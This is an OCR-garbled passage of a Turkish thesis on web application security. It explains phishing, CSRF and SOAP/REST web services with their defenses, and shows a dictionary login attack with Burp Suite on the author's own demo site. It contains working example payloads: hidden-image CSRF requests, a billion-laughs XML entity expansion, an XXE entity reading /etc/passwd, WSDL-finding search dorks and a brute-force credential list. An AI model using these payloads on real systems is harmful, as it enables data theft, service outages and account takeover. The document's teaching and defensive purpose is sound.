Saldirgan elinde mevcut olan e-posta adreslerine veya hedefledigi kisilere

gonderdigi e-postalarla kurbanlarini hazirladiklari sahte siteye yonlendirirler.

Kurbanlarin sahte siteye girip istenilen bilgileri paylagmasiyla saldirgan

hedefine ulasmis olur.

3.5.5.2 Phising saldirinin 6nlemi

Bilgisayarimiz’da ki igletim sistemini giincel tutmaya ¢alisin. Ayrica giincel

ve kaliteli bir anti viriisler programi1 kullanin.

Gelen e-posta’nin kimden geldiginden emin degilseniz dikkate almayiniz.
Unutmayin hi¢ bir kurum veya kurulus mail yoluyla sizden kisisel

bilgilerinizi istemez. Mail kutunuzda spam iletilere kars1 filtreler olusturun.

Mail yoluyla URL adreslerine emin degilseniz tiklamaymiz. Ozellikle
yukarida belirtildigi gibi bankalar, sosyal paylasim siteleri, alig-veris siteleri
gibi baglantilara kendiniz adres barina yazarak giriniz. Phishing saldirilarinda

en yaygin kullanilan yontem budur.

Giivenli olmadigint diisiindiigiiniiz aglardan kesinlikle elektronik islem
gergeklestirmeyin. Genel aglardan uzak durmaya calisin, bunlar; Havaalani,

metrolar vb yerlerdeki halka acik aglar olabilir.

3.5.6 Siteler arasi istek sahteciligi (CSRF)

Cross Site Request Forgery, kullanicinin giris yaptig1 bir uygulamada kullanicinin

bilgisi olmadan, kullanicinin oturum bilgisiyle zararl isteklerde bulunma saldirisidir.

XSRF-CSRF i¢inde XSS bulunduran ve XSS alaninda goriilen giivenlik agigidir

[42]. CSRF, “Sleeping Giant” yani uyuyan dev olarak da adlandirilir [42], ¢linkii web

Uzerindeki birgok sitede bu saldir tiiriine kars1 korunma mevcut olmayip gelistiriciler
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tarafindan arka plana birakilmis ve olusturacagi sonuclar dnemsenmemistir [2].

Gunumuzdeki en yaygin giivenlik agigidir.

XSS’de kullanici bilgilerini saldirgan js kodlariyla ele gegirmeyi amaclarken
XSRF’de kullanic1 bilgilerini kendi tarafindan degistirmeyi planlamaktadir. Ve
gonderilen tek bir link ile bunu saglamak miimkiindiir. Bu saldin tiirii ile yapila
bilecekler arasina, kullanicilarin internet banka hesabindan para transferi yapmasi, e-
mail hesabiin ayarlarini degistirmesi, yonetim paneline sahip oldugu sitelerden bir
tiyeyi silmesi, bir alig veris sitesinden birseyler almasi, sosyal medya hesabindan
bagka kullanicilara mesaj gondermesi gibi pek ¢ok senaryo dahil edilebilir. Yani,
yapilabilecekler web uygulamasinin kullaniciya verdigi yetkiyle dogru orantilidir
[40]. CSRF zafiyetini igeren bir uygulama, giris yapip oturum agmis kullanicinin
(kurban) web tarayicisinin saldirganin istedigi herhangi bir HTTP istegini (6rn, para
transferi, parola degistirme) gébndermesine imkan saglar. Bu zafiyet, 6nceden oturum
acilmig web sayfalarina erigilmek istendiginde web tarayicilarin oturum ID’sini

HTTP istegine otomatik eklemesi 6zelligini temel olarak hedef alir [23].

3.5.6.1 XSS ile CSRF arasindaki fark

CSRF’nin olugmasinda web sitesinin kullaniciya ait web tarayicisina duydugu
giivenin suistimali s6z konusuyken; XSS’ nin olugsmasinin temelinde ise kullanicinin,
web sitesine duydugu giivenin suistimali yatmaktadir. Bir CSRF saldirisinin
meydana gelmesi i¢in session (oturum) kimliginin dogrulanmis olmasi
gerekmektedir [23]. XSS’te ise buna gerek yoktur. Ag¢ik bulunan web sitesinde
girdiler Uzerinde herhangi bir dogrulama ya da escaping islemi yapilmadigi i¢in

ortaya cikar.
Ornek bir CSRF isleyisi asagidaki gibidir;

e Kurban kullanici, zafiyeti igeren online bankacilik uygulamasinda oturum

acar.

e Bu agig1 bilen saldirgan, internette sik ziyaret edilen bir forumda soyle bir
girdi olusturur.

<img src="http://banka/paraHavele.do?hesapNo=1234&miktar=10000" />
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e Kurban kullanici, forumdaki bu girdiyi ziyaret ettiginde haberi olmadan

bankacilik uygulamasina istek gonderilir ve havale iglemi gergeklestirilir.

Tespiti; Hedef sitede CSRF agiginin olup olmadigini kontrol etmek igin ilk once
herhangi bir web proxy araci (Paros, Burp Suit, Owasp CSRF Tester, Netsparker,
Fiddler) kullanilarak siteden yapilan istekler yakalanir ve kaydedilir [23]. Daha sonra
bu kaydedilen istekler web proxy aracinin repeater Ozelligi ile aym tarayicida
tekrarlandiginda daha once karsilagilan ayni sonuglar aliniyorsa sitenin ilgili
kisminda CSRF saldirisina karsi zafiyet vardir sonucuna varilabilir [40]. Bu sitenin
tim sayfalar1 i¢in veya kullanici i¢in 6nemli sayfalarda denenerek sitedeki tim

acikliklar bulunabilir.

Istismari: XSRF-CSRF saldirisini Java ile yazilmis aligveris sitesi lizerinde kiigiik

bir senaryo ile gosterelim. Site adresi http://www.avm.com olsun.

Genel olarak herhangi bir uygulamaya giris yapilirkenki islemler asagidaki gibidir:

Kullanici ilk 6nce uygulamaya girer, kullanict ad1 ve sifresini yazarak login olmaya

caliisir. Uygulama gegerli kullaniciy: tanirsa bu istege cevap vermeye baslar.

Ilgili uygulama yapilan her istege tarayicida bulunan cookie bilgisini de ekler -ki bu
da kullanicinin oturum bilgisidir ve ilgili uygulama kullanicinin kim oldugu ancak bu
yolla bilebilir. HTTP protokolii uygulamaya gonderilen istegin uygulamay1 agtigimiz
pencereden mi yoksa farkli farkli pencereden mi gittigini genel itibariyle kontrol
etmez [3]. Dolayisiyla ilgili uygulamadayken, farkli bir uygulamaya girildiginde eger
ayni tarayicit kullaniliyor ise yani ayni tarayict kapsami (scope) igerisindeyse, ve
farkli uygulama ilk girilen uygulamaya istek yapiyor ise, ilgili uygulamaya ait cookie
bilgisi de bu istege eklenecektir. CSRF zafiyetinin bulundugu uygulamalar da
ve/veya siteler de genelde zafiyetin temelinde istemciden gelen tiim istegin gecerli

bir kullanicidan geldigini varsaymasi yatmaktadir.
Asagidaki 6rnek avm.com sitesi iizerinden detaylandiralim;

Sitede kullanicinin hesabiyla giris yaptigin1 ve aligveris sepetine birkag¢ {iriin
ekledigini diisiinelim. Site icerisinde asagidaki gibi bir form bulunmakta ve

kullanicilara aligveris sepetini silebilmesini saglasin.
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Www.avm.com

<form action="user.php" method="GET">
<input type="hidden" name="operation" value="deleteShopList"/>
<input type="submit" value="delete" />

</form>

Sekil 3.39 : CSRF zafiyetinin istismar1 (1)

<html|>
<img style="display: none;" src=www.avm.com/user?operation=deleteShopList />

<html>

Sekil 3.40 : CSRF zafiyetinin istismar1 (2)
Saldirgan web sayfasindaki XSRF agig1 olusturan alani kendine gore diizenleyip
zararlt bir link hazirlar ve kullanicinin bu linki ilgili site iizerinden c¢agirmasini
saglayip kendisini sisteme giris yaptirabilir. Saldirganin hazirladigi zararli link deki
igerikte asagidaki satirlar bulunabilir; Kullanici olan sekilde sisteme login olduktan

sonra saldirganin hazirlamis oldugu www.attacker.com/intex.html sayfasimi tiklar.

Sayfada bulunan img ( bazen de bir form) ile birlikte www.avm.com adresine src

attribute icerisinde yer aldigi sekli ile kurbandan habersiz istek yapilir. Kullanici
zaten login oldugu ic¢in herhangi bir yetki sorunu olusmayacaktir. Burada

www.avm.com’da herhangi bir CSRF 6nleyici bulunmadigi igin gelen istegin ger¢ek

kullanicidan  geldigini varsayarak islemi gerceklestirir. Islem gergekleserek
kullanicinin aligveris sepetindeki iiriinler silinmis olmaktadir. Hersey olagan gibi
goriinmesine ragmen kullanici bilmeden aligveris sepetini bosaltmis olacaktir. Bu ve
benzeri yontemlerle gegmiste bazi bankalarin internet subelerinde kullanicinin
hesabindan saldirganin hesabina para aktarilmasi, youtube gibi siteler de
kullanicilarin favori video listesine saldirganin belirlegi videolarin eklenmesi gibi

zafiyetler s6z konusu olmustur. Yukaridaki tiim akis1 asagidaki gibi 6zetleyebiliriz;
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‘ CSRF ... ‘

@ 1. Sisteme girer ve oturum bilgisi alir.

Kurban
3. K6t amacl istegi bilmeden yollar

2. Tarayicinin diger sekmesinde kétii amag L LB
iceren bir sayfa acar.

Y

Y

" <htmi>
<img src="www.avm.com/user?operation=deleteShopList">

_</himl>

Sekil 3.41 : CSRF zafiyetinin saldir1 senaryosu

3.5.6.2 CSRF saldirilaria karsi 6nlemler

Saldirganlar, CSRF saldirilart i¢in hedef olarak ¢ogunlukla uygulamalarda oturum
acmis kullanicilar1 seger. Cilinkii, oturum sahibi olmayan kullanicinin siradan

ziyaretci olacagi ve ziyater¢inin yapacagi islemi, saldirganin da yapabilmesi olasidir.

1. Kaullanicinin veri okuma islemleri GET metodu kullanilarak yapilmali fakat
yazma, degistirme ve silme gibi tiim operasyonlar POST metoduyla

yapilmalidir [38].

2. Yapilan her istege karsin HTTP Referer basgligi kontrol edilmelidir. Bu
sayede yapilan her istegin uygulama iizerinden gelip/gelmedigi dogrulanmig
olur. Fakat bu madde tamamen yeterli degildir. Clinkii XMLHttpRequest ile
bu baglik manipiile edilebilir [38]. Ayrica Referer bashigi kaldirilarak da
gegcerli istekler yapilabilir. Hatta favorilere (bookmark) ekledigimiz bir sayfa
icinde Referer basligi eklenmeden gonderilebilmektedir.

3. Kiritik olan her form, her kullanicinin oturumuna 6zel rasgele olusturulmus

CSRF token’i icermelidir [6].
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» Kullanicidan sunucuya aktarilan bu token’in dogrulugu sunucu

tarafinda kontrol edilmelidir:

<form...><input type="hidden" name="CSRFToken"
value="56D7865F7907Hf567AA445dE">

XSS acgig1 igeren uygulamalardan CSRF token’inin c¢alinabilecegi gz Oniinde

bulundurulmalidir.

4. Hayati 6nem tasiyan islemler ig¢in (6rn, sistemde kayitli email adresini

degistirme) Re-authentication uygulanmalidir.

5. URL Rewriting yontemi kullanilarak URL’lerin gecerli oturumda, karmasik

olarak belirlenmesi saglanabilir. Yine de tam bir koruma saglamayacaktir [39].
6. CSRF’ye kars1 bir¢ok platformda hazir ¢oziimler bulunmaktadir [38]:
e Struts, SpringMVC, dotNET (AntiForgeryToken () metodu)
e OWASP CSRFGuard
o ESAPI User
CSRF Token olusturma metodu,

private String csrfToken = resetCSRFToken ()

public String resetCSRFToken (){

csrfToken =
ESAPI.randomizer().getRandomsString(8,DefaultEncoder. CHAR_ALPHANUMERI
C3);

return csrfToken;

3.5.6.3 Alinmasi gereken énlemler

1. Uygulamadan mutlaka logout yapilmalidir. Yani var olan oturum

kapatilmalidir.

2. Her logout isleminden sonra tarayicida cookie’ler silinmelidir.
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3. Tarayicilar icin NoScript eklentisi kullanilmalidir [23].

4. Bilinmeyen e-postalar agilmamali ve imaj gibi icerikler goriintiilenmemelidir.

3.5.7 Web servislerin giivenligi

Web servis, adindan anlagilacagi gibi web {izerinden HTTP protokolii ile hizmet
veren ve ¢ogunlukla XML (Extensible Markup Language), JSON (JavaScript Object
Notation) standardi ile veri alig verisi yapan, iki uzak cihaz arasindaki iletigimi
saglayan bir haberlesme programlaridir/yontemidir/uygulama komponentidir [6].
Icerdigi standartlar sayesinde birbirinden bagimsiz sistemlerin, platformlarin
haberlesmesi, mesaj alip-gondermesi gibi ihtiyaglardan dolayr gelistirilmistir. Bu
sayede farkli sistemler haberlesebilmektedir ki bu da web servislerin en 6nemli
ozelligidir [34]. Yani, herhangi bir programlama dili ile yazilan bir web servis diger
programlama dillerinin client veya server uygulamalar1 ile konusabilir. Web
servislerinde veriler XML olarak tutulup SOAP (Simple Object Access Protocol) ile

bir yerden digerine taginir.
Web servislerin iki kullanim sekli vardir:

1. Baska platformda ¢alisan bir uygulama ile haberleserek veri alis verisi

yapmak;

2. Uygulamanin tekrar tekrar kullanimimna ihtiya¢ duydugu ozelliklerin web
servisler tarafindan yapilip uygulama {izerinden istenilen zamanda
kullanilmasi. Ornegin; doviz kurlarini, hava durumunu anhk 6grenen

programlar gibi.

Web servislerin dig diinyaya kontrolsiiz bir sekilde acilmasi beraberinde giivenlik
sorunlarini da getirmistir. Web servislerinde meydana gelen giivenlik zafiyetleri web

uygulamalarinda meydana gelen zafiyetlerle birbirine benzemektedir.

Web uygulamalarinda genel olarak POST ve GET parametreleri manipiile edilmeye
calisilirken web servislerinde kullanilan XML’in aldig1 degerler kontrol
edilmektedir. Web Servisleri, SOA (Service Oriented Architecture) mimarisini temel
alirlar [34].

Web Servisleri:

1. Klasik Web Servisleri
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2. Web APl Web Servisleri
olmakla iki ana kategoride incelenmektedir. Bu iki tipin ortak 6zelligi genel bir dil
olarak XML kullanmasi ve iletisimi HTTP tizerinden gergeklestirmesidir.
3.5.7.1 Klasik web servisleri
Klasik web servisleri, XML standartin1 kullanan ve SOAP mimarisi ile haberlesen

servislerdir.

XML

XML (Extensible Markup Language) kelimelerinin kisa adidir. Verilerin diiz metin
olarak saklanmasi ve tasinmasi islerinde kullanilir. HTML gibi markup dildir fakat
HTML veriyi sunmaya yararken XML veriyi tagimak icin kullanilir. XML dosyasi

agac yapisina benzemektedir.
Ornek XML dosyast:
<kullanicilar>

<kullanicr id = “17>

<ad>Ali</ad>
<yas>23</yas>

</kullanici>

</kullanicilar>
SOAP

SOAP, (Simple Object Access Protocol) kelimelerinin kisa adidir. SOAP,
uygulamanin web servislere erisip veri alis verisi yapmasini saglayan XML tabanli
bir iletisim protokoldur. Yani, SOAP ile ilgili biitiin mesajlar XML formatinda iletilir

ve HTTP flizerinden taginirlar.
SOAP mesaj1 3 sekilde olusabilir:
1. Metot Cagirimi
2. Cevap Mesaj1

3. Hata mesaj1
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SOAP mesajinin yapisi agagidaki gibidir:

SOAP Envelope

<soapenv:Envelope xmins:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmins:avm="http://travm.com/">
<soapenv:Header/>
<soapenv:Body>
<avm:getCreditCard>
<cardld xsi:type="xsd:integer">1</cardld>
<cardPassword xsi:type="xsd:string">abc1122</cardPassword>
</avm:getCreditCard=
</soapenv:Body>
</soapenv:Envelope>

Sekil 3.42 : SOAP mesaj yapisi

Sekil 3.43 : SOAP mesajinin cevabi

Envelope- Biitiin SOAP mesajlarini iginde bulunduran en iist (root) elemandir.
HTML’deki <html>...</html> etiketine benzetebiliriz. Icerisinde Header ve Body

gibi elemanlar1 bulundurur.

Header- HTML’in <head>...</head> etiketine benzetebiliriz. Dolayisiyla meta-data
bilgilerini gondermek i¢in kullanilmaktadir. SOAP mesaj1 i¢inde bulunmasi zorunlu

degildir. Kullanilacaksa body’den 6nce kullanilmalidir.

Body- HTML’deki <body></body> etiketine benzetebiliriz. SOAP mesajinin en

onemli kismidir. Bu boliimde kullanilacak metodun adi ve parametrik bilgileri XML
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formatinda gonderilir. Cevap mesajinda ise metodun geri doniis degeri bu kisma

eklenir [36].

WSDL

WSDL, (Web Service Description Language) kelimelerinin kisa adidir. XML igerige
sahip olan WSDL dokiimanlar1 disar1 hizmet olarak sunulan bir web servis hakkinda
teknik detaylar1 barindirirlar. Bu dokiimana web servisin interface’i diyebiliriz. Yani,
web servisleri, sunduklar1 servislert WSDL araciligi ile tanimlarlar ve istemciler bu
servislere erismek icin WSDL dosyalarini kullanirlar [34]. Bu da web servisi
kullammin 6nemli avantajlarindan biridir. Ciinkii olusturulan web servisleri ¢ok
sayida metot barindirabilir. Bu metotlarin isimleri, alacagr parametre adlari, her
parametrede alacagi veri tipi ve donecegi cevabin yapisi vb. Bilgiler WSDL

dokiimani yardimu ile yayinlanir.

WSDL dokiimaninin igerigi 5 ana maddeden olugmaktadir:

<types>: web servis tarafindan kullanilan veri tiplerini tanimlamaktadir;
<message>: web servisin gonderecegi ve alacagi mesajin igerigini tanimlamaktadir;
<portType>: web servis ile gerceklestirilecek operasyonlarin tanimi yapilmaktadir;

<binding>: portType’da yapilan operasyona karsilik web servisde c¢alisacak

metotlarin tanimi1 yapilmaktadir.

<service>: port tanimlarin1 barindirir. Bu tanimlar binding’de yapilan tanimlara

karsilik kullanilacak web servislerin adreslerini igermektedir.
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WSDL 1.1 WSDL 2.0

[ message | : £y
LY Abstract
portType interface Section
‘operation ‘operation |
[E_‘E] Concrete
|’59wi09 ‘ Section

Sekil 3.44 : WSDL version kiyaslamasi

SOAP Ul

Web Servisi testlerinde kullanilan java ile gelistirilmis araglardan biridir. Bu arag
yardimi ile web servislerini kontrol edip cagrilar test edebiliriz. Aracin c¢aligma
prensibine deginecek olursak; Web Servisin WSDL adresi verilir, bu sayede web
servisin arayuzl gorintilenir, bu arayiiz Gzerinde olan girdi parametreleri izerinde

degisiklik yapip servisi ¢aligtirarak sonug goriintiilenir.

WSDL Adresi cagrilir.

WSDL dokdmam gonderilir.

WEB

ISTEMCI SERVIS

S0OAP istegi olusturulur.

S0OAP cevabi gonderilir.

A

Klasik web servisin calisma vapisi.

Sekil 3.45 : Klasik web servisinin ¢alisma mantigi
1. Client WSDL URL’ni ¢agirir (GET).

2. WSDL dokiimani Client’a gonderilir.
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3. Client bu dokiimana gore SOAP istegi olusturur ve sunucuya gonderir

(POST).
4. Sunucu da client’a SOAP cevabini1 dondiirir.

Bu islemlerden 1. ve 2. adim tek seferlik yapilip 3. ve 4. adimlar defalarca tekrar

edebilir.

uDDI
UDDI, (Universal Description Discovery and Integration) kelimelerinin kisa adidir.
Internet tizerindeki web servislerin kayitlarini tutar ve kayitlt web servislerini arama

0zelligi sunar [33]. Saldirganlar agisindan UDDI ¢ok yararl bir kaynaktir.
3.5.7.2 Web API web servisleri

1. Client, GET veya POST talebi ile URL c¢agirir

2. Web servis XML veya JSON cevab1 dondiiriir.

Asagida 6rnek bir web servis ¢agrimi goriilmektedir:

Web Service on

Client Application Server

HTTP REQUEST

Method : GET/POST
/evap

Cevap: Json
Veri;

"kullamicilar™ : [
"user1” : {
"ad"” : "ali"
"cinsiyet” : "erkek"

T
"user2" @ {
"ad” : "weli"
"cinsiyet” : "erkek"
T

1
3

Sekil 3.46 : Web servisin kullanilmasi
Web APl Web Servisleri, REST (Representational State Transfer Protocol) mimarisi
ile haberlesen servislerdir. REST mimarisi, client-server arasindaki veri alis verisini

SOAP vb. gibi kompleks mimariler yerine HTTP protokolu {izerinden saglamaktadir
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[37].

Esnek ve basit bir yapiya sahiptirler. REST mimarisini kullanan servislere

RESTful denilir.

SOAP gibi siki standartlara sahip degildir. Aralarindaki farki ele alacak olursak;

1.

2.

REST servislerinin WSDL gibi yapilara ihtiyaclari1 yoktur.

SOAP servisleri yapilan isteklere SOAP metotlar1 yardimi ile anlam katarken,

REST’de bunun karsiligt URL’de kullanilan resource alanidir.

Yapilan istege SOAP’da oldugu gibi illa XML doniilmesi gerekmez.
Dolayisiyla istek esnasinda donecek cevabin hangi formatta olmasina karar
verilebilir (JSON, XML, text vb.). Su siralar genellikle JSON formati

kullanilmaktadir.

SOAP servislerine gore istek ve cevap formatlarinin esnekligine gore daha az

trafik olusturur.
REST, HTTP metotlarini kullanir (POST, GET, PUT, DELETE).

REST servislerinde guvenlik denetimleri yaparken HTTP metotlar1 ile

resource kavrami iizerinden uygulanan metotlar iyi analiz edilmelidir.

Klasik yaklasimda ID’si 100 olan {iriinii su sekilde gorebiliriz:

...urunler/goster.jsp?id=100

REST yaklasiminda ise GET talebi asagidaki sekilde olusur:

GET/urunler/100 HTTP/1.1

100 nolu drtind silmek igin:

DELETE/urunler/100 HTTP/1.1
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Cizelge 3.4 : SOAP ve REST servislerinin karsilastirilmasi

# SOAP REST
1 Xml tabanli protokol. Mimari tipte protokol.
2 Servert ve Client tarafi Iletisim icin wsdl | Iletisim icin xml ve/veya json kullanir.
kullanir.
Servisler RPC methodlari ile ¢agrilir. Servisler url ile ¢agrilir.
4 Kolay okunabilir cevap dénmez. Sonug, kolay okunabilir sade xml ve/veya
json icerir.
5 Veri transferi HTTP Uzerinden yapilir. Sadece HTTP {izerinden veri aligverisi
Ayrica SMTP, FTP gibi protokoller de yapilabilir.
kullanilabilir.
6 Javascript ile SOAP servisi ¢agrilabilir Javascript ile Rest servisleri ¢agirmak
ancak bunu yapmak oldukea zordur. oldukea kolaydir.
7 XML tabanli protokol oldugundan dolay1 SOAP’a gore daha az kod ile daha az
performans bakimindan REST’in kaynak kullanarak daha hizli iletisim
gerisindedir. saglanir.
JSON

JSON, (Javascript Object Notation) kelimelerinin kisa adidir. Programlama dilinden

bagimsiz ve XML’e alternatif olarak kullanilan JS tabanl bir veri degisim formatidir.

[34] JSON kullanimindaki amag¢, XML’e gore daha kiiciik boyutlarda veri alip

gbndermesidir.

XML ve JSON farka:

Cizelge 3.5 : XML ve JSON karsilagtirmasi

XML
{

<kullanicilar>
<kullanicr>
<id>1</id>
<isim>Ali</isim>
</kullanicr>
<kullanicr>
<id>2</id>
<isim>Hasan</isim>
</kullanicr>
</kullanicilar>

}

JSON
"kullanicilar": [
{
"id™1,
"isim™:" Al
}
{
"id™:2,
"isim":"Hasan"
}
]

102




3.5.7.3 Web servis giivenlik testleri ve saldirilari

Web servisleri iizerinde yapilacak testler her ne kadar web uygulamalar ile paralel

olsa da dogalar1 geregi kendilerine 6zgii adimlar i¢erebilmektedir.

Bilgi toplama

Bu adimda hedef servis iizerinde girdi noktalar1 ve bu girdi noktalarinin ne tiir veri
aldigr tespit edilir. Eger hedef sistem Uzerinde herhangi bir bilgi yok ise ilk dnce
WSDL dokiiman1 aranmalidir. Herkesin erisimine sunulan WSDL dosyalari
saldirganlar i¢in ¢cok detayli ve yararl bilgiler saglarlar. Bu dosyalar Google Hacking

araciligi ile internet lizerinden aranabilirler [6].
WSDL dékiimani aramak i¢in iki yontem kullanilir:
1. Arama motorlar1 (Google Hacking)
2. Fuzzing yontemi
Google Hacking yontemi ile aramaya Ornek olarak;
inurl:wsdl sitezavm.com

filetype:wsdl site:avm.com

Fuzzing yontemi tamamen deneme yanilma stratejisine dayalidir ve Ornek
verecegimiz URL adreslerinde uygun degisiklikler yaparak bu yontem kullanilabilir

[33]:

http://www.example.com/<servisadi>

http://www.example.com/<servisadi>.wsdl

http://www.example.com/<servisadi>?wsdl

http://www.example.com/<servisadi>.jsp?wsdl

Web servis giivenlik test araci olarak ise WSDigger kullanilabilir [33]. Ilgili arag
kendisine verilen WSDL dokiimanin1 okuyup ilgili metotlarin ¢ikarilmasi iglemini

yerine getirir. Bu sayede ilgili metotlarin ne tiir parametreler aldig1 da elde edilebilir.
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Giivensiz tasarim

Web Servisleri ¢esitli kimlik dogrulama mekanizmalar1 barindirmaktadirlar.
Ozellikle Basic kimlik dogrulama yoénteminin kullamldigi gdzlemlenmektedir.
Kimlik dogrulama icin bahsedilen tim zayifliklar web servisler icin de gegerli
olmaktadir. Ciinkii hedef web uygulamasini kullanan bir client’in yapacag isteklerde
kullandig1 kimlik dogrulama bilgisini elde edip Base64 ile decode isleminden

gecirmek, kullanict ad1 ve parola bilgisinin elde edilmesi i¢in yeterli olmaktadir [33].

Web servis referans saldirilari

XML degisken genisleme (XML Entity Expansion)

XML dokiimani i¢inde bir ¢cok yerde kullanilmasi gereken bir veri, degisken olarak
tanimlanip kullanilabilir. Bu degiskenler DOCTYPE igerisinde tanimlanip ENTITY
olarak adlandirilir [6]. Bu saldirt tiiri, XML parser’larin ilgili referans icin
kullanmak istedikleri veriyi hesaplarken yasayacaklari bellek problemlerini ortaya

cikarir.

/ ,
/ \

<?xml version="1.0" 7> |

<IDOCTYPE authors[
<IENTITY author "author">
<IENTITY author2 "&author;&author;&author;&author;&author;&author; &author;&author;&author;&author;">
<IENTITY author3 "&author2;&author2;&author2;&author2;&author2;&author2;&author2;&author2;;&author2;&author2;&author2;">
<IENTITY author4 "&author3;&author3;&author3;&author3;&author3; &author3;&author3; &author3; &author3; &author3;&author3;">
<IENTITY author5 "&author4;&authord;&author4;&author4; &author4; &authord;&author4; &author4; &author4; &author4&author4;">
<IENTITY author6 "&author5;&author5;&author5;&authors; &authorb; &authors; &authorb; &author5; &authors; &author5; &author5;">
<IENTITY author7 "&author6;&author6;&author6;&authorg; &authoré; &author6; &author6; &authoré; &author6; &author6;&author6;">
<IENTITY author8 "&author7;&author7;&author7;&author7;&author7;&author7;&author7;&author7;&author7;&author7;&author7;">
<IENTITY author9 "8author8;&author8;&author8;&author8; &author8;&author8;&author8;&author8; &author8; &author8;&author8;">

>

<authors>&author9;</authors>

\, /

Sekil 3.47 : XML degisken genisletme 6rnegi

Verdigimiz oOrnekte author kismima a9 degiskeni eklendiginde ortaya cikan veri
yaklasik olarak 12GB olacaktir ki bu durumda uygulamanin bellegi ilgili veriyi
isleyemeyecek (bellek doldurulacak) ve bu istek sonucu uygulama hizmet kesintisi

ile kars1 karsiya kalacaktir.

External entity attack

Web Servislerine karsi en bilindik saldirilardan biridir. XML dokiimanlarinin

referans tanimlari ile kendi igine yerel veya uzak sunucudan veri tagimasi sonucu
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olusmaktadir. Harici referans tanimi1 SYSTEM tanimlayicist ile yapilmaktadir [33].

Bu saldir1 ile yerel kaynaklardan dosya okunacagi gibi etkin hizmet kesintisi

saldirilar1 da gergeklestirilebilir ve servis yeni isteklere cevap veremez hale gelir.

Ornek verecek olursak;

<?xml version="1.0" encoding="utf-8" 7>
<IDOCTYPE rohit[
<IENTITY entityex SYSTEM "file:///etc/passwd"=
1=
. <abc>&entityex;</abc>

Sekil 3.48 : External entity saldirisi

3.5.7.4 Web servis saldirilarina kars1 6nlemler

1.

2.

OWASP TOP 10 risklerine kars1 6nlem alinmalidir.

Her uygulama giivenliginde oldugu gibi web servisleri i¢gin de girdi denetimi
ilk uygulanmasi gereken dnlemlerden biridir. Bunun i¢in XML DoS(Denial-
of-service) saldirilarina karsi XML mesajlarinin  gegerliligini DTD/XML
Schema kullanilarak denetlenebilir. Bu dosyalar .XSD uzantili dosyalardir

[33].
WSDL dosyalar1 herkesin erisimine sunulmamalidir.
Gerekmedigi siirece servisler UDDI’ye kayit edilmemelidir.

WS-Security protokollerinden yararlanilmali ve mumkinse XML Security
Gateway (XML Accelerator) kullanilmalidir [33].

105



106



4. ZAFiYETLERIN UYGULAMA UZERINDE GOSTERILMESI

Tezin konusu olan “Yazilim Giivenligi” giliniimiizde neredeyse tiim sistemler i¢in
gecerli olan bir kavramdir. Tez igerisinde bu kavramlarin ne olduklari, nasil tespit
edildikleri ve istismar edilme yoOntemleri anlatilmistir. Tez igerisinde “Yazilim
Gilivenligi” kavrami web Tlzerinde gosterilmeye calisilmistir. Gelistirilmis olan
uygulama igerisinde genelde uygulamalarin ¢ogunda bulunan bir takim zafiyetlere
yer verilmistir. Bu boliimde uygulama igerisinde olan zafiyetlerin tespiti ve istirmari

ele alinacaktir.

4.1 Zafiyetin Tespiti ve Istismar1

Bu kisimda gelistirilmis olan uygulama iizerinde zafiyetlerin nasil tespit edilebildigi
gosterilecektir.
4.1.1 Kimlik dogrulama zafiyetinin tespiti ve istismari

Bu boliimde 6zellikle form tabanli kimlik dogrulama islemlerinde yapilan hatalar

nedeniyle kullanici ad1 ve sifre bilgilerinin nasil tespit edildigini gosteriyor olacagiz.
Kimlik dogrulama zafiyetinin tespiti genellikle iki yontem ile tespit edilir.

Bunlar;
e Sozlik Tabanli Saldirilar

e Kaba Kuvvet Saldirilar

4.1.1.1 Sozliik tabanh saldirilar

Sozliik tabanli deneme yanilma saldirilarinin belirli bir liste icerisinden yapildigini
O0grenmistik. Burada gelistirmis oldugumuz uygulamanin giris formu, daha 6nce
hazirlamis oldugumuz kullanic1 adi ve parola bilgilerini igeren bir liste yardimi ile

istismar edilecektir. Istismar ederken Burp Suit otomatize araci kullanilacaktir.

Istismar edecegimiz giris sayfasi igin asagidaki liste olusturulmustur.
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Cizelge 4.1 : Sozlik tabanl saldirt listesi

Kullanict Adi Sifre

Hale 123456t
Ali 123trt65
Lale 5678tr56
Veli 6jhg6565
Hasan 65hgh655

Burp Suit aract ve kullanacagimiz tarayic (Chrome) gerekli ayarlamalar1 yaptiktan

sonra login sayfasina giris bilgilerini girip Burp Suit aracinin bu istegi yakalamasini

saglayalim.

Create Account Login

Products About Garanti Bankasi Contact

Ph
Tablets
Username

Notebooks

Cameras ‘ Hale ‘

LCD & LED TVs Password

Sekil 4.1 : Ornek login sayfasi

Burp Suit araci liste igerisinde olan kullanici adi ve parola bilgilerini kullanarak

toplamda 5X5°lik istek yaparak kullanicinin bilgilerini bulmaya ¢alisacaktir.
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Attack Save Columns

M Target T Positions T Payloads T Options ]

‘ Filter: Showing all items

|

Request & | Payload1 | Payload2 Status | Error | Timeout | Length | Comment
0 500 O O 2222
1 Hasan 123456t 200 O [] 6288
2 Ali 123456t 200 O [] 6288
3 Weli 123456t 200 O [] 6288
4 Lale 123456t 200 O [] 6288
5 Hale 123456t 200 J [] |7848
6 Hasan 123trt65 200 O [] 6288
7 Ali 123trt65 200 O [] 6288
8 Weli 123trt65 200 O [] 6288
9 Lale 123trt65 200 O [] 6288
10 Hale 123trt65 200 O [] 6288
" Hasan 56T8tra6 200 O [] 6288
12 Ali 56T8tra6 200 O [] 6288
13 Weli 5678tra6 200 O [] 6288
14 Lale 56T8tra6 200 O [] 6288
15 Hale 56T8tra6 200 O [] 6288
16 Hasan 6jhgb565 200 O [] 6288
17 Ali 6jhgB565 200 O [] 6288
18 Weli 6jhgB565 200 O [] 6288
19 Lale 6jhgb565 200 O [] 6288
20 Hale 6jhgB565 200 O [] 6288
21 Hasan 65hghB55 200 O [] 6288
22 Ali 65hghB55 200 O [] 6288
23 Weli 65hghB55 200 O [] 6288
24 Lale 65hghB55 200 O [] 6288
25 Hale 65hghB55 200 O [] 6288
- -

Sekil 4.2 : Burp Suit araci ile sozliik saldirist testi
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3 Vel 123450t ZUU J J bdd

4 Lale 123456t 200 L J 6288

5 Hale 123456t 200 J J 7848 v
;r\ . —— o — — —— -
Respose

Raw | Headers | Hex | HTML IRender]
HTTF/1l.1 200 OK A
Server: Apache-Coyote/l.1 i ]
Set-Cookie: sessId=3305EB30AB781ED37124337FE3FOB3ISE "
Content-Type: text/html;charset=ucf-g8
Content-Length: 7632
Date: Sat, 17 Dec Z0LlE 19:14:02 GHMT
Connection: close

/DTD HTML 4.01 Transitiomal//EN"
DSy cose.dtd">
<html>
<hesad>
